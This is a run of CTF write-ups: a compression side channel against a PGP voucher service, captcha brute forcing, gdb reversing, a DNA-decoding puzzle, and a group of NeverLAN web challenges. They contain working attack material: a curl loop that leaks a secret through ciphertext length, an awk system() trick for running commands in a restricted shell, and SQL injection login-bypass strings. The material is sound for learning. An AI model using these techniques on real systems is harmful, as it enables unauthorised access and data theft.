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# Drinks
**Drinks** was the only cryptography challenge of **Insomni'hack Teaser 2019** and ended up being solved by over 30 teams. Despite this apparent "easiness", it featured a clever side-channel attack I never had the chance to try out before.
## Challenge description
```Use this API to gift drink vouchers to yourself or your friends!Vouchers are encrypted and you can only redeem them if you know the passphrase.Because it is important to stay hydrated, here is the passphrase for water: WATER_2019.Beers are for l33t h4x0rs only.```
Along with the description came a link to a service, as well as its source code.
## Code analysis
The provided code is the following:
```pythonfrom flask import Flask,request,abortimport gnupgimport timeapp = Flask(__name__)gpg = gnupg.GPG(gnupghome="/tmp/gpg")
couponCodes = { "water": "WATER_2019", "beer" : "█████████████████████████████████" # REDACTED}
@app.route("/generateEncryptedVoucher", methods=['POST'])def generateEncryptedVoucher():
content = request.json (recipientName,drink) = (content['recipientName'],content['drink'])
encryptedVoucher = str(gpg.encrypt( "%s||%s" % (recipientName,couponCodes[drink]), recipients = None, symmetric = True, passphrase = couponCodes[drink] )).replace("PGP MESSAGE","DRINK VOUCHER") return encryptedVoucher
@app.route("/redeemEncryptedVoucher", methods=['POST'])def redeemEncryptedVoucher():
content = request.json (encryptedVoucher,passphrase) = (content['encryptedVoucher'],content['passphrase']) # Reluctantly go to the fridge... time.sleep(15)
decryptedVoucher = str(gpg.decrypt( encryptedVoucher.replace("DRINK VOUCHER","PGP MESSAGE"), passphrase = passphrase )) (recipientName,couponCode) = decryptedVoucher.split("||")
if couponCode == couponCodes["water"]: return "Here is some fresh water for %s\n" % recipientName elif couponCode == couponCodes["beer"]: return "Congrats %s! The flag is INS{%s}\n" % (recipientName, couponCode) else: abort(500)
if __name__ == "__main__": app.run(host='0.0.0.0')```
A quick glance at the code is enough to figure out the goal is to retrieve the value of `couponCodes["beer"]`.
The service is a **Flask app** with two routes accepting **POST** requests containing **JSON-encoded data**: **/generateEncryptedVoucher** and **/redeemEncryptedVoucher**.
`generateEncryptedVoucher` basically creates a **PGP encrypted message** consisting of the string `<recipientName>||<couponCode>` where **recipientName** is a string or arbitrary length controlled by the attacker and **couponCode** is the string in **couponCodes[drink]**, where drink is either **"beer"** or **"water"**, and controlled by the attacker. The encryption is symmmetric, and **couponCodes[drink]** is also used as the passphrase for the encryption.
`redeemEncryptedVoucher` takes a **PGP encrypted message** and a **passphrase**, which it uses to decrypt the message. Then, if the `<couponCode>` part of the decrypted message is the same string as `couponCodes["beer"]`, it is printed along with a congratulations message.
It is probably safe to assume that the length of `couponCodes["beer"]` within the provided code is not arbitrary, and therefore we assume that **the flag is 33 characters long**.
It's the first time I heard of the symmetric mode in **PGP** (*with which I'm not overly familiar*), I needed more context in order to understand how this could possibly be exploited.
## The gnupg Python library
By following the trail of function calls within the GPG class, I ended up finding interesting information looking at the parameters of the `_encrypt` method in the parent class of `gnupg.GPG`, namely `GPGBase`.
```pythondef _encrypt(self, data, recipients, default_key=None, passphrase=None, armor=True, encrypt=True, symmetric=False, always_trust=True, output=None, throw_keyids=False, hidden_recipients=None, cipher_algo='AES256', digest_algo='SHA512', compress_algo='ZLIB'):"""...:param str cipher_algo: The cipher algorithm to use. To see available algorithms with your version of GnuPG, do: :command:`$ gpg --with-colons --list-config ciphername`. The default **cipher_algo**, if unspecified, is ``'AES256'``.
...:param bool symmetric: If True, encrypt the **data** to **recipients** using a symmetric key. See the **passphrase** parameter. Symmetric encryption and public key encryption can be used simultaneously, and will result in a ciphertext which is decryptable with either the symmetric **passphrase** or one of the corresponding private keys...."""```
OK, now we know that **AES256** is used by default when the symmetric mode is enabled. I am more familiar with **AES** than I am with **PGP**, but this is bad news: I am pretty sure there is no way to break AES here (*as of today, at least*), unless maybe ECB mode is used (*which I doubt*). Maybe we should parse and analyze what the service produces when generating an encrypted voucher.
## Ciphertext analysis
We issue the following command:
```bash~$ curl -Ns -H 'Content-Type: application/json' -X POST "http://146.148.126.185/generateEncryptedVoucher" --data '{"recipientName":"xxxx","drink":"water"}' | sed 's/DRINK VOUCHER/PGP MESSAGE/g' > voucher```
and obtain a file containing a PGP encrypted message. Using `pgpdump` on the file, we get the following output:
```bash~$ pgpdump voucherOld: Symmetric-Key Encrypted Session Key Packet(tag 3)(13 bytes) New version(4) Sym alg - AES with 256-bit key(sym 9) Iterated and salted string-to-key(s2k 3): Hash alg - SHA1(hash 2) Salt - 73 77 83 1a ef 53 e6 6e Count - 65011712(coded count 255)New: Symmetrically Encrypted and MDC Packet(tag 18)(67 bytes) Ver 1 Encrypted data [sym alg is specified in sym-key encrypted session key] (plain text + MDC SHA1(20 bytes))```
Wooow, lots of new things here.
Thanks to the great [RFC 4880](https://tools.ietf.org/html/rfc4880), we get more information about what's going on. Basically, we learn that:
- **AES256** is used in **CFB mode**;- the **IV** is constant but the **key is salted** and then **hashed several times**. Salt obviously changes at every run.
At that point, I have no clue about why this could be breakable. After spending a few hours spacing out on my couch trying to figure this out, when it dawned on me. There is a parameter of the `_encrypt` method that I should have paid more attention to.
## Side-channel attacks FTW
Yep, there is a `compress_algo` parameter in `_encrypt` whose default value is **'ZLIB'**. The plaintext is compressed before being encrypted, which means that we might be able to leak the flag by choosing appropriate values for `recipientName`: if part or all of our **recipientName** is contained in the flag, we can expect the encrypted message to be smaller than if it isn't. To be perfectly honest, I was wondering if that was actually a new class of attacks. Quickly looking it up revealed that it was not, as **CRIME** and **BREACH** are actually based on this principle (*and while the names were famous, I had never bothered actually looking them up*).
To try out this attack, we first need to determine a 3 character string (*limit I discovered experimenting with a few requests*), which we can easily do since we know that the flag is prefixed by **"||"** in the plaintext string. And then, it's just a matter of running the following quick and dirty code, updating `pw` manually at every round:
```bash# Was pretty tired, so that's the code I used to flag the challenge and I'm just too lazy to rewrite it :)pw="||"for c in `seq 1 33`; do for i in `cat charset`; do tmp=$pw; tmp+=$i; l=`curl -Ns -H 'Content-Type: application/json' -X POST "http://146.148.126.185/generateEncryptedVoucher" --data "{\"recipientName\":\"$tmp\",\"drink\":\"beer\"}" | sed 's/DRINK VOUCHER/PGP MESSAGE/g' | pgpdump | grep 'New:'`; echo $i $l; done; read s; pw=$pw$sdone;```
**And we get the flag**, which once formatted as required is: **INS{G1MME_B33R_PLZ_1M_S0_V3RY_TH1RSTY}**
## Conclusion
I learned a lot about PGP and this side-channel attack doing this challenge. Thanks a lot to the organizers for a great time this year again! |
# **A Chrismas Dilemma**
## Points : 205
Santa accidentally mixed up his personal Advanced Algebra problem book with a children's book that was supposed to be a present! Now, the algebra book arrived at Little Timmy, who's a math whizz himself. However, he needs your help, because this problem is just too hard for him to solve on his own!
Server: nc 199.247.6.180 14001
Author: Gabies
When I netcat to the server, it requires captcha!
```CAPTCHA!!!Give a string X such that md5(X).hexdigest()[:5]=952da.```
It can be bruteforce easily using python:
```s.recvuntil("Give a string X such that md5(X).hexdigest()[:5]=") target = s.recvuntil(".\n")[:-2] i = 0 while True: if hashlib.md5(str(i)).hexdigest()[:5] == target: s.sendall(str(i)+ "\n") break i += 1```
After I bypass the captcha :
```Ok, you can continue, go on!This Christmas' dilemma is:Given a random function defined in range (-25, 121) find the global maximum of the function!You can send at most 501 queries including guesses.The guessed value must be equal to the real answer up to 2 decimals.
Choose your action: [1] Query the value of the function at some point [2] Guess the global maximum```
It looks like we need to find the maximum value of f(x) with query (121+25) = 146 X value, whic is good because is way more less than 500 query limit
First we collect the f(x) value with all possible value of x with Python:
```s.recvuntil("Given a random function defined in range ") functionRange = s.recvuntil(")").replace('(','').replace(')','').replace(' ','').split(',') functionRange[0] = int(functionRange[0]) functionRange[1] = int(functionRange[1]) print "Collecting Y values:" y = [] for i in range(functionRange[0],functionRange[1]+1,1): s.sendall("1\n") s.sendall(str(i) + '\n') s.recvuntil(") = ") solution = s.recvuntil('\n')[:-1] print solution y.append(float(solution))```
Using the Maximum value we can increase the precision of x value by using x value minus and add the gap value, and query both x value see which one give more f(x) value, and the gap will divide by 2 every loop:
```x = functionRange[0] + y.index(max(y)) print "Max Y: " + str(max(y)) maxY = max(y) gap = 0.5 while True: s.sendall("1\n") time.sleep(1) s.sendall(str(x+gap) + '\n') s.recvuntil(") = ") solution = float(s.recvuntil('\n')[:-1]) s.sendall("1\n") time.sleep(1) s.sendall(str(x-gap) + '\n') s.recvuntil(") = ") solution2 = float(s.recvuntil('\n')[:-1]) if solution > maxY: x += gap print "X: " + str(x) print "Y: " + str(solution) maxY = solution elif solution2 > maxY: x -= gap print "X: " + str(x) print "Y: " + str(solution2) maxY = solution2 else: gap /= 2 print "Continue" continue```
Every time after querying, we guess the bigger solution. It will guess until the answer is correct because of while True:
```print "Guessing: " + str(maxY) + " Gap: " + str(gap) s.sendall("2\n") time.sleep(1) s.sendall(str(maxY) + '\n') s.recvuntil("Enter your guess: ") print s.recvuntil(".") gap /= 2```
After some debugging we get the flag:
```X: 80.5625Y: 25.8987586495Guessing: 25.8987586495 Gap: 0.0625Congratulations! Here's your flag! X-MAS{Th4nk5_for_m4k1ng_a_ch1ld_h4ppy_th1s_Chr1stma5}```The full source code: [Source Code](https://github.com/Hong5489/XmasCTF/blob/master/pwnbase.py) |
It has opencl kernel elf file.(obj/alpha.bin) Kernel has another elf at 0x1c26 offset. That elf does some floating-pointer calculation. And just analysis.
It has serveral flag, So we need to find readable flag.
> nv1d14_d03S_1t_8etteR |
# Binary 3 (Reverse)
Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand.
Also I might be wrong on some things. Enjoy :)
(P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy))
## Static analysis
```bash$ file get_flagget_flag: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9d6e0012cc1b18b155cb8f490eb1fbed910694e2, not stripped```
```$ strings get_flag...adminusername: password: www.gr3yR0n1n.comGET %s HTTP/1.0username incorrect.password incorrect.you are now logged in......```
We see two interesting strings `admin`, `www.gr3yR0n1n.com` and `GET %s HTTP/1.0`.
* admin is probably the username* Seems like it performs a GET requests to www.gr3yR0n1n.com.
Browsing that website gives us nothing:
## Play time
```$ ./get_flag username: asdasdusername incorrect.
$ ./get_flag username: adminpassword: ..```
Admin seem to be the correct username. Let's figure out the correct password by opening gdb.
```RSI: 0x7fffffffdea0 ("password")RDI: 0x555555757180 ("a2VlcCBsb29raW5nLCBub3QgdGhlIGZsYWc=")RBP: 0x7fffffffdfd0 --> 0x555555556540 (<__libc_csu_init>: push r15)RSP: 0x7fffffffdfb0 --> 0x7fffffffe0b8 --> 0x7fffffffe3d9 ("/binary3/get_flag")RIP: 0x55555555650f (<main+83>: cmp DWORD PTR [rbp-0x4],0x0)R8 : 0x555555556600 ("username: ")R9 : 0x7ffff7fa3500 (0x00007ffff7fa3500)R10: 0x7ffff7fa3500 (0x00007ffff7fa3500)R11: 0x246 R12: 0x555555554cc0 (<_start>: xor ebp,ebp)R13: 0x7fffffffe0b0 --> 0x1 R14: 0x0 R15: 0x0EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x555555556502 <main+70>: mov eax,0x0 0x555555556507 <main+75>: call 0x555555554e42 0x55555555650c <main+80>: mov DWORD PTR [rbp-0x4],eax=> 0x55555555650f <main+83>: cmp DWORD PTR [rbp-0x4],0x0 0x555555556513 <main+87>: jne 0x555555556528 <main+108> 0x555555556515 <main+89>: lea rdi,[rip+0x137] # 0x555555556653 0x55555555651c <main+96>: call 0x555555554b90 <puts@plt> 0x555555556521 <main+101>: mov eax,0x0[------------------------------------stack-------------------------------------]0000| 0x7fffffffdfb0 --> 0x7fffffffe0b8 --> 0x7fffffffe3d9 ("/binary3/get_flag")0008| 0x7fffffffdfb8 --> 0x155554cc0 0016| 0x7fffffffdfc0 --> 0x7fffffffe0b0 --> 0x1 0024| 0x7fffffffdfc8 --> 0x0 0032| 0x7fffffffdfd0 --> 0x555555556540 (<__libc_csu_init>: push r15)0040| 0x7fffffffdfd8 --> 0x7ffff7ddc09b (<__libc_start_main+235>: mov edi,eax)0048| 0x7fffffffdfe0 --> 0x0 0056| 0x7fffffffdfe8 --> 0x7fffffffe0b8 --> 0x7fffffffe3d9 ("/binary3/get_flag")[------------------------------------------------------------------------------]Legend: code, data, rodata, value0x000055555555650f in main ()gdb-peda$ ```
It seem to compare our input with: `RDI: 0x555555757180 ("a2VlcCBsb29raW5nLCBub3QgdGhlIGZsYWc=")`.
Lets login with that..
```$ ./get_flag username: adminpassword: a2VlcCBsb29raW5nLCBub3QgdGhlIGZsYWc=you are now logged in...```
No flag given... Trying to base64 decode it:
```bashecho "a2VlcCBsb29raW5nLCBub3QgdGhlIGZsYWc=" | base64 -d keep looking, not the flag```
## Firing up IDA Pro
It seems like wrong password and correct password does the same thing.. Just exists the program.
Looking at the functions we see "flag".
Let's see how the method is called by using the `xrefs graph to`.
Let's look at the `d` function.
Okay there is our http request.
## Getting the flag with GDB-Peda
As the function `d` is never called, we can manually change the instruction pointer to the address of `d`.
```bashgdb-peda$ set $rip=d```
```bashgdb-peda$ pdisas d... 0x00005555555562c8 <+34>: call 0x555555556143 <x>=> 0x00005555555562cd <+39>: mov QWORD PTR [rbp-0x20],rax...```
Let's see what the function x returns by setting a breakpoint at `0x00005555555562cd`.
```b *0x00005555555562cd```
Observing the return value in `rax` we see:
```RAX: 0x5555557571c0 ("/81c26d1dd57fd11842fc13e53540db80/eacbe4d1b2dee530eee7460477877c4d/667d5fa72f80788a5ed2373586e57ff6/c4ff45bb1fab99f9164b7fec14b2292a/6470e394cbf6dab6a91682cc8585059b")```
Looks like a path...
Adding the host in the beginning we get:
```http://www.gr3yr0n1n.com/81c26d1dd57fd11842fc13e53540db80/eacbe4d1b2dee530eee7460477877c4d/667d5fa72f80788a5ed2373586e57ff6/c4ff45bb1fab99f9164b7fec14b2292a/6470e394cbf6dab6a91682cc8585059b```
And visiting that website in the browser we get the flag:
Looking a bit further with gdb-peda we can also confirm that it's the correct url:
##### GDB-Peda tips
I read @Dc1ph3R's [writeup](https://mrt4ntr4.github.io/Neverlan-CTF-Writeups/#binary3) and learnt that you could use print to call a function. I didn't know that, pretty cool!
```$ print ((char*(*)()) d)()GET /81c26d1dd57fd11842fc13e53540db80/eacbe4d1b2dee530eee7460477877c4d/667d5fa72f80788a5ed2373586e57ff6/c4ff45bb1fab99f9164b7fec14b2292a/6470e394cbf6dab6a91682cc8585059b HTTP/1.0
HTTP/1.1 200 OKDate: Mon, 04 Feb 2019 09:53:47 GMTServer: Apache/2.4.29 (Ubuntu)Last-Modified: Sat, 02 Feb 2019 00:39:46 GMTETag: "26-580de7f137f8d"Accept-Ranges: bytesContent-Length: 38Connection: close
flag{AP1S_SH0ULD_4LWAYS_B3_PR0T3CTED}
$8 = 0x0```
Quite a lot easier than my manual approach :) |
# tiny_easteregg - misc (50)
Given the name of this easteregg, it seems like it had something to do with the day 9 "tiny" challenge. Going through the menus again and answering "no", we get to a second piece of "reindeer dna":
```$ nc 18.205.93.120 1209<Crazy_Scientist> Hello?<Crazy_Scientist> Anyone there?> hi<H4X0R> hi<Crazy_Scientist> Brilliant!<Crazy_Scientist> I'm at the north pole and I managed to kidnap one of Santa's elves.<Crazy_Scientist> I've never seen such a tiny elf.<elf> Hi I'm elfo[elf has been kicked by Crazy_Scientist]<Crazy_Scientist> The elf will happily eat anything I feed it.<Crazy_Scientist> So I tried feeding him one of my mind control cookies<Crazy_Scientist> But it didn't work! The jolly bastard must have some kind of immune system<Crazy_Scientist> Normally I wouldn't need help for such a trivial task, but I didn't bring my laboratory to the north pole.<Crazy_Scientist> I could send you a sample of his DNA.<Crazy_Scientist> You work out how his immune system works and synthesize a new mind control cookie and send that back to me. OK?<Crazy_Scientist> Then I'll give the elf your cookie and release him back into Santa's workshop.<Crazy_Scientist> Then we can finally read the "secret", to see what's going on in there.<Crazy_Scientist> I don't think the elf will be able to eat a cookie bigger than half of his size though.<Crazy_Scientist> Are you ready?> no<Crazy_Scientist> Would you like to take a look at the reindeer DNA I found instead?> yes
ATAAATAAATAAATAAATAAATAAATAAATAAATAACGTGATAACGGCATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAACGTGATAACGGCATAAATAAATAAATAAATAAATAAATAAATAAATAAAATTATAAATAAATAAATAAATAAATAAATAAATAAATAACGTGCCGTCCGTATGAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATGACCGTCCGTCGGCATAAATAAATAAATAAATAAATAAATAAATAAATAAAATTATAAATAAATAAATAAATAAATAAATAAATAAATAAATTAATAAATAAATAACTAAATGCAGTGATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAAGTGATGCGAATTGCAATAAATAAATAAATTCATAAATAAATAAATAAATAAATAAATAAATAAATAAAATTATAAATAAATAAATAACCGGATAAATAAATAAATAAATAACTAAAGTGAGTGCGGTCGGTATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAACGGTCGGTAGTGAGTGGAATTGCAATAAATAAATAAATAAATAACCGGATAAATAAATAAATAAAATTATAAATAAATAAATGGATTACCGGCCGGCCGGCCGGCCGGCCGGATTCAGTGATAAATAAATAAATAACAACCAGGCCCACCCGCGTGCCATCGCCCACAAGAACAGACGAACATACCGGCCCACTTACACCCCGGCCATAGAGCACACCGGCAGTAGAACCAGAGAGCACACCGGCCATAGAGCATCCTGTCACAAGAGCACCCGATCCGGAGTCAGCAAGCTAGCCAGATCGGCATAAATAAATAAATAAAGTGATTACCGGCCGGCCGGCCGGCCGGCCGGATTCCCGAATAAATAAATAAAATTATAAATAAATTAATAAATAAATAAATAAATAAATAAATAAATAAATAAATTAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATTCATAAATAAATAAATAAATAAATAAATAAATAAATAAATTCATAAATAAAATTATAAATAAATAACGGAAGTTATGCATGCATGCATGCATGCATGCATTAATAAATTCATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATTAATAAATTCATGCATGCATGCATGCATGCATGCAGTTCGGAATAAATAAATAAAATTATAACCGGATGGATGGATAAATAAATAAATAAATAAATAAATAAATAAATAACCGACCGAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATGGATGGATAAATAAATAAATAAATAAATAAATAAATAAATAACCGACCGACCGGATAAAATTATGGATAAATGGATAAATAAATAAATAAATAAATAAATAAATAAATAAATAACGCTCGCTATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAACGCTCGCTATAAATAAATAAATAAATAAATAAATAAATAAATAAATAACCGAATAACCGAAATTATAAATAAATAAATAAATAA
<Crazy_Scientist> Here you go!<Crazy_Scientist> I'll look for someone up to the real task in the mean time[H4X0R has been kicked by Crazy_Scientist]```
Using the same script as we had for "tiny", we can decode this "DNA" for the flag:
```pythonreindeer_dna = '''ATAAATAAATAAATAAATAAATAAATAAATAAATAACGTGATAACGGCATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAACGTGATAACGGCATAAATAAATAAATAAATAAATAAATAAATAAATAAAATTATAAATAAATAAATAAATAAATAAATAAATAAATAACGTGCCGTCCGTATGAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATGACCGTCCGTCGGCATAAATAAATAAATAAATAAATAAATAAATAAATAAAATTATAAATAAATAAATAAATAAATAAATAAATAAATAAATTAATAAATAAATAACTAAATGCAGTGATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAAGTGATGCGAATTGCAATAAATAAATAAATTCATAAATAAATAAATAAATAAATAAATAAATAAATAAAATTATAAATAAATAAATAACCGGATAAATAAATAAATAAATAACTAAAGTGAGTGCGGTCGGTATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAACGGTCGGTAGTGAGTGGAATTGCAATAAATAAATAAATAAATAACCGGATAAATAAATAAATAAAATTATAAATAAATAAATGGATTACCGGCCGGCCGGCCGGCCGGCCGGATTCAGTGATAAATAAATAAATAACAACCAGGCCCACCCGCGTGCCATCGCCCACAAGAACAGACGAACATACCGGCCCACTTACACCCCGGCCATAGAGCACACCGGCAGTAGAACCAGAGAGCACACCGGCCATAGAGCATCCTGTCACAAGAGCACCCGATCCGGAGTCAGCAAGCTAGCCAGATCGGCATAAATAAATAAATAAAGTGATTACCGGCCGGCCGGCCGGCCGGCCGGATTCCCGAATAAATAAATAAAATTATAAATAAATTAATAAATAAATAAATAAATAAATAAATAAATAAATAAATTAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATTCATAAATAAATAAATAAATAAATAAATAAATAAATAAATTCATAAATAAAATTATAAATAAATAACGGAAGTTATGCATGCATGCATGCATGCATGCATTAATAAATTCATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATTAATAAATTCATGCATGCATGCATGCATGCATGCAGTTCGGAATAAATAAATAAAATTATAACCGGATGGATGGATAAATAAATAAATAAATAAATAAATAAATAAATAACCGACCGAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATGGATGGATAAATAAATAAATAAATAAATAAATAAATAAATAACCGACCGACCGGATAAAATTATGGATAAATGGATAAATAAATAAATAAATAAATAAATAAATAAATAAATAACGCTCGCTATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAAATAACGCTCGCTATAAATAAATAAATAAATAAATAAATAAATAAATAAATAACCGAATAACCGAAATTATAAATAAATAAATAAATAA'''.strip()
def hex_dna(dna): pats = [] for ch1 in 'ATGC': for ch2 in 'ATGC': if ch1 == ch2: continue for ch3 in 'ATGC': if ch1 == ch3 or ch2 == ch3: continue for ch4 in 'ATGC': if ch1 == ch4 or ch2 == ch4 or ch3 == ch4: continue pats.append(ch1+ch2+ch3+ch4) print(pats)
dna = ''.join(dna.strip().split()) for pat in pats: arr = [] for i in range(0,len(dna),4): x1 = pat.index(dna[i]) x2 = pat.index(dna[i+1]) x3 = pat.index(dna[i+2]) x4 = pat.index(dna[i+3]) x = (x1<<6)|(x2<<4)|(x3<<2)|x4 arr.append(x) buf = bytes(arr) with open('tiny/dna_%s.txt'%pat,'wb') as f: f.write(buf) f.close() print(pat, buf)
def dna_hex(buf): pat = 'ACTG' st = [] for b in buf: st.append(pat[(b>>6)&3]) st.append(pat[(b>>4)&3]) st.append(pat[(b>>2)&3]) st.append(pat[(b>>0)&3]) st = ''.join(st) print(st) return st
if __name__ == '__main__': hex_dna(reindeer_dna)```
```$ cat tiny/dna_ACTG.txt { } { } {^^, ,^^} ( `-; ;-´ ) _ `;;~~ ~~;;´ _ /(______); AOTW{RuD0LpH_ThE_R3D_N0S3D_R3InD3Er_94652} ;(______)\ ( ( ) ) |:------( ) ( )------:| _// \\ // \\_ / / vv vv \ \
``` |
```bashls 1>&2pwd 1>&2awk '{system("ls "$2)}' /home/u1/flag.txt```The shell don't support `cat`.We use `ls 1>&2` to know the target file.We use `pwd 1>&2` to know which directory we were in.Now,get flag! |
# Cookie Monster (Web)
Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand.
Also I might be wrong on some things. Enjoy :)
(P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy))
## Challenge solution
The page does not contain much..
Looking at the cookies we have a cookie named `Red_Guy's_name=SomeRandomValueThatIdontremember`
Let's set the cookie value to elmo.
 |
# Dirty Validate(Web)
Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand.
Also I might be wrong on some things. Enjoy :)
(P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy))
Here we try each user until we find the correct one :)
 |
# Das blog (Web)
Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand.
Also I might be wrong on some things. Enjoy :)
(P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy))
## Challenge solution
 |
# React To This (Web)
Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand.
Also I might be wrong on some things. Enjoy :)
(P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy))
This challenge was quite straight forward. Open chrome developer tools, look in the javascript file:
 |
nullcon HackIM 2019: Captcha Forest Harder=============================
## Description
A harder captcha for you if you felt the first one was too easy
`nc miscc.ctf.nullcon.net 6002`
The server sent us a `png` image in hexadecimal. We have to solve the captcha and output 4 corresponding characters.
This challenge need to be solved 120 times out of 200 tries to output the flag.
The image is a concatenation of 4 characters from the Bill Cipher (a code in Gravity Fall).
This is the harder problem of [Captcha Forest](../Captcha-forest)
The difference is that the image has rotation and scaling over the characters.
#### Example of Captcha with rotation and scaling
## Solution
This is a similiar solution as the previous one. We had the luck to find good enough character to match the code. [source](https://www.dcode.fr/gravity-falls-bill-cipher)
Instead of just testing our mapping symbol with the captcha, we combine it with multiple rotations and scalings.
With a family of 30 different rotations {-45, -42, ..., 0 , 3, ... 45} and 5 different scalings, we reach around 95% of accuracy in the captcha. It is enough to recover the flag.
## Code
The code is written [here](script2.py)
The image mapping is stored [here](mapping)
## Flag
`hackim19{I_guess_I_will_stop_making_captchas_now}` |
[Das Blog 2]---Question:--- Well, we really showed Johnny. It looks like he made some changes... But he still isn't escaping his inputs. Teach him a lesson. https://challenges.neverlanctf.com:1130
Answer--- 1. This is simialr to the first task, but this time you need to include permissions 2. After several tries: 1' or 1=1 -- - 1' or 1=1 -- -; permissions=admin 1' or 1=1 -- -'and permission='admin' 1' or 1=1 -- -'AND permission='admin' '-0||'and permission='admin' '-0||'and permission='admin' 1' or 1=1 and permission='admin' - - 1' or 1=1 and permission='admin' -- 1' or 1=1 AND permission='admin' - - ' OR '1'='1' AND permissions='admin'-- ' OR '1'='1' AND permissions='admin'--
3. This one seemed to do the trick "' OR '1'='1' AND permissions='admin'-- " 4. Credit to snow - thanks mayn!
Flag:--- flag{Pwn3d_W1th_SQL} |
[Cookie Monster]---Question:--- It's a classic https://challenges.neverlanctf.com:1110
Answer--- There is a cookie called Red_Guys_Name and the content field has the Value "NameGoesHere" 
Edited the content field to Elmo (Sesame Street)
Comment:--- Any comment to the task
Flag:--- flag{YummyC00k13s} |
[React To This]---Question:--- It looks like someone set up their react site wrong...
https://challenges.neverlanctf.com:1145
Answer--- Found flag under Sources - JS - Pages - Admin.js 
Comment:--- Any comment to the task
Flag:--- s3cur3_y0ur_s3ss10ns |
